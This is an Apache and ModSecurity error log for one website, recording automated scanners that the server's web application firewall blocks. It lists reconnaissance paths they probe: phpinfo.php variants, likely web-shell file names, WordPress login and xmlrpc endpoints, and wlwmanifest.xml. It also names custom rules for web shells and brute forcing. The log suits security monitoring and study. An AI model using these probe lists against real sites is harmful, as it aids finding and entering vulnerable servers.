[Sat May 09 02:26:18.355100 2026] [:error] [pid 61355:tid 61385] [client 3.15.179.172:34358] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/phpinfo.php"] [unique_id "af4qyvkhJTi30CBXmMlZygAAAZg"]
[Sat May 09 02:26:19.265645 2026] [:error] [pid 61356:tid 61388] [client 3.15.179.172:34402] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4qy4x3vpB8oWhUq2NEKwAAAcA"]
[Sat May 09 02:26:20.281495 2026] [:error] [pid 61356:tid 61395] [client 3.15.179.172:34474] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4qzIx3vpB8oWhUq2NELQAAAcc"]
[Sat May 09 02:26:21.169538 2026] [:error] [pid 51113:tid 51125] [client 3.15.179.172:34514] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4qzUQfs7sWtqkpQIeh9gAAAMo"]
[Sat May 09 02:26:22.123266 2026] [:error] [pid 61355:tid 61366] [client 3.15.179.172:34570] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4qzvkhJTi30CBXmMlZ0QAAAYU"]
[Sat May 09 02:26:23.082765 2026] [:error] [pid 51008:tid 51061] [client 3.15.179.172:34632] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4qz3B58C2Y1tgLtuLomgAAAEw"]
[Sat May 09 02:26:23.992029 2026] [:error] [pid 61355:tid 61384] [client 3.15.179.172:34682] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/info"] [unique_id "af4qz_khJTi30CBXmMlZ0gAAAZc"]
[Sat May 09 02:26:24.881108 2026] [:error] [pid 51009:tid 51095] [client 3.15.179.172:34716] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/php-info.php"] [unique_id "af4q0OB0GbUWhxgzX9WmsgAAAJM"]
[Sat May 09 02:26:25.803413 2026] [:error] [pid 51009:tid 51089] [client 3.15.179.172:34778] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "af4q0eB0GbUWhxgzX9WmswAAAI0"]
[Sat May 09 02:26:26.740488 2026] [:error] [pid 51009:tid 51084] [client 3.15.179.172:36096] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/_phpinfo.php"] [unique_id "af4q0uB0GbUWhxgzX9WmtQAAAIg"]
[Sat May 09 02:26:27.739640 2026] [:error] [pid 51008:tid 51066] [client 3.15.179.172:36148] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4q03B58C2Y1tgLtuLoowAAAFE"]
[Sat May 09 02:26:28.749898 2026] [:error] [pid 61355:tid 61371] [client 3.15.179.172:36182] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/server-info.php"] [unique_id "af4q1PkhJTi30CBXmMlZ4wAAAYo"]
[Sat May 09 02:26:29.698447 2026] [:error] [pid 61356:tid 61392] [client 3.15.179.172:36212] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/server-status.php"] [unique_id "af4q1Yx3vpB8oWhUq2NEPQAAAcQ"]
[Sat May 09 02:26:30.639024 2026] [:error] [pid 61355:tid 61363] [client 3.15.179.172:36268] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4q1vkhJTi30CBXmMlZ7gAAAYI"]
[Sat May 09 02:26:31.543139 2026] [:error] [pid 51008:tid 51063] [client 3.15.179.172:36336] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/_environment"] [unique_id "af4q13B58C2Y1tgLtuLopQAAAE4"]
[Sat May 09 02:26:32.464747 2026] [:error] [pid 61355:tid 61373] [client 3.15.179.172:36368] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4q2PkhJTi30CBXmMlZ-wAAAYw"]
[Sat May 09 02:26:33.421223 2026] [:error] [pid 51009:tid 51095] [client 3.15.179.172:36416] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4q2eB0GbUWhxgzX9WmwgAAAJM"]
[Sat May 09 02:26:34.398732 2026] [:error] [pid 61355:tid 61384] [client 3.15.179.172:36466] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4q2vkhJTi30CBXmMlaAAAAAZc"]
[Sat May 09 02:26:35.432718 2026] [:error] [pid 61355:tid 61385] [client 3.15.179.172:36524] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4q2_khJTi30CBXmMlaAgAAAZg"]
[Sat May 09 02:26:36.444084 2026] [:error] [pid 61356:tid 61392] [client 3.15.179.172:36582] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4q3Ix3vpB8oWhUq2NESgAAAcQ"]
[Sat May 09 02:26:37.445888 2026] [:error] [pid 61356:tid 61400] [client 3.15.179.172:59384] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4q3Yx3vpB8oWhUq2NETgAAAcw"]
[Sat May 09 02:26:38.485972 2026] [:error] [pid 51113:tid 51120] [client 3.15.179.172:59442] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4q3kQfs7sWtqkpQIeiAwAAAMU"]
[Sat May 09 02:26:39.438463 2026] [:error] [pid 61356:tid 61393] [client 3.15.179.172:59510] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4q34x3vpB8oWhUq2NEUAAAAcU"]
[Sat May 09 02:26:40.575775 2026] [:error] [pid 34318:tid 34340] [client 3.15.179.172:59552] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpinfo.php~"] [unique_id "af4q4Mr3guirgJiKhzAM2gAAARQ"]
[Sat May 09 02:26:41.575599 2026] [:error] [pid 51113:tid 51118] [client 3.15.179.172:59618] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/info.php.bak"] [unique_id "af4q4UQfs7sWtqkpQIeiBgAAAMM"]
[Sat May 09 02:26:42.475089 2026] [:error] [pid 61356:tid 61404] [client 3.15.179.172:59650] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4q4ox3vpB8oWhUq2NEWAAAAdA"]
[Sat May 09 02:26:43.512300 2026] [:error] [pid 61355:tid 61363] [client 3.15.179.172:59718] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4q4_khJTi30CBXmMlaDQAAAYI"]
[Sat May 09 02:26:44.530761 2026] [:error] [pid 61317:tid 61342] [client 3.15.179.172:59790] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4q5M-fFk_CedOCOYscAQAAAVY"]
[Sat May 09 02:26:45.428738 2026] [:error] [pid 51009:tid 51093] [client 3.15.179.172:59854] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4q5eB0GbUWhxgzX9Wm0gAAAJE"]
[Sat May 09 02:26:46.515929 2026] [:error] [pid 61317:tid 61334] [client 3.15.179.172:59908] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4q5s-fFk_CedOCOYscBgAAAU4"]
[Sat May 09 02:26:47.555634 2026] [:error] [pid 61356:tid 61388] [client 3.15.179.172:34810] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4q54x3vpB8oWhUq2NEXwAAAcA"]
[Sat May 09 02:26:48.637963 2026] [:error] [pid 61356:tid 61396] [client 3.15.179.172:34884] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4q6Ix3vpB8oWhUq2NEZAAAAcg"]
[Sat May 09 02:26:49.548228 2026] [:error] [pid 51008:tid 51072] [client 3.15.179.172:34952] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4q6XB58C2Y1tgLtuLotgAAAFc"]
[Sat May 09 02:26:50.563206 2026] [:error] [pid 61356:tid 61394] [client 3.15.179.172:35012] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4q6ox3vpB8oWhUq2NEawAAAcY"]
[Sat May 09 02:26:51.518742 2026] [:error] [pid 61356:tid 61405] [client 3.15.179.172:35064] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4q64x3vpB8oWhUq2NEbgAAAdE"]
[Sat May 09 02:26:52.442809 2026] [:error] [pid 34318:tid 34331] [client 3.15.179.172:35096] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4q7Mr3guirgJiKhzAM4gAAAQs"]
[Sat May 09 02:26:53.367627 2026] [:error] [pid 61355:tid 61374] [client 3.15.179.172:35142] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4q7fkhJTi30CBXmMlaJgAAAY0"]
[Sat May 09 02:26:54.267729 2026] [:error] [pid 51009:tid 51098] [client 3.15.179.172:35186] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4q7uB0GbUWhxgzX9Wm5wAAAJY"]
[Sat May 09 02:26:55.248633 2026] [:error] [pid 51009:tid 51088] [client 3.15.179.172:35262] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4q7-B0GbUWhxgzX9Wm6QAAAIw"]
[Sat May 09 02:26:56.189218 2026] [:error] [pid 61356:tid 61394] [client 3.15.179.172:35294] [client 3.15.179.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4q8Ix3vpB8oWhUq2NEegAAAcY"]
[Sat May 09 04:00:18.349499 2026] [:error] [pid 9293:tid 9319] [client 45.130.83.115:35835] [client 45.130.83.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.115, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "af5A0pR__qEzV5O6Z2OGBQAAANY"]
[Sat May 09 04:00:18.361253 2026] [:error] [pid 9293:tid 9319] [client 45.130.83.115:35835] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat May 09 09:13:44.409648 2026] [:error] [pid 9186:tid 9248] [client 85.137.48.160:45572] File does not exist: /usr/local/apache/htdocs/suspended-page/wplog.php
[Sat May 09 13:41:51.409031 2026] [:error] [pid 9920:tid 9942] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat May 09 13:41:51.601959 2026] [:error] [pid 9920:tid 9940] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat May 09 13:41:51.987749 2026] [:error] [pid 9920:tid 9941] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Sat May 09 13:41:52.180539 2026] [:error] [pid 9920:tid 9943] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat May 09 13:41:52.567211 2026] [:error] [pid 9920:tid 9924] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Sat May 09 13:41:52.760647 2026] [:error] [pid 9920:tid 9930] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat May 09 13:41:52.952909 2026] [:error] [pid 9920:tid 9936] [client 172.212.190.20:32525] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sat May 09 13:41:53.351309 2026] [:error] [pid 9920:tid 9937] [client 172.212.190.20:32525] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af7JIUxitGYhlzgZb5bLrwAAAc8"]
[Sat May 09 13:41:54.099372 2026] [:error] [pid 9663:tid 9673] [client 172.212.190.20:8469] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af7JIpcWIu01SCxbjwsk3wAAAQc"]
[Sat May 09 13:41:54.878318 2026] [:error] [pid 9760:tid 9772] [client 172.212.190.20:8491] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af7JImIkCp-C_fh0s7I54gAAAUY"]
[Sat May 09 13:41:55.648157 2026] [:error] [pid 9186:tid 9238] [client 172.212.190.20:1714] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "af7JIxW4eFOEw1mKOgLB5QAAAEw"]
[Sat May 09 14:56:52.027128 2026] [:error] [pid 9663:tid 9676] [client 34.82.81.216:58229] [client 34.82.81.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.81.216, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "af7atJcWIu01SCxbjwsxhgAAAQo"]
[Sat May 09 14:56:52.029221 2026] [:error] [pid 9663:tid 9676] [client 34.82.81.216:58229] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 09 14:56:52.367809 2026] [:error] [pid 9663:tid 9678] [client 34.82.81.216:58229] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "af7atJcWIu01SCxbjwsxjAAAAQw"]
[Sat May 09 14:56:52.895699 2026] [:error] [pid 9760:tid 9787] [client 34.82.81.216:56588] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "af7atGIkCp-C_fh0s7JA6QAAAVU"]
[Sat May 09 14:56:53.505014 2026] [:error] [pid 9293:tid 9312] [client 34.82.81.216:50769] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "af7atZR__qEzV5O6Z2OXdgAAAM8"]
[Sat May 09 14:56:54.075779 2026] [:error] [pid 9187:tid 9265] [client 34.82.81.216:64268] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "af7athC7An6gkXsRsaGO6wAAAIw"]
[Sat May 09 14:56:54.629350 2026] [:error] [pid 9293:tid 9311] [client 34.82.81.216:62163] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "af7atpR__qEzV5O6Z2OXfQAAAM4"]
[Sat May 09 14:56:55.045926 2026] [:error] [pid 9187:tid 9275] [client 34.82.81.216:64001] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "af7atxC7An6gkXsRsaGO-AAAAJY"]
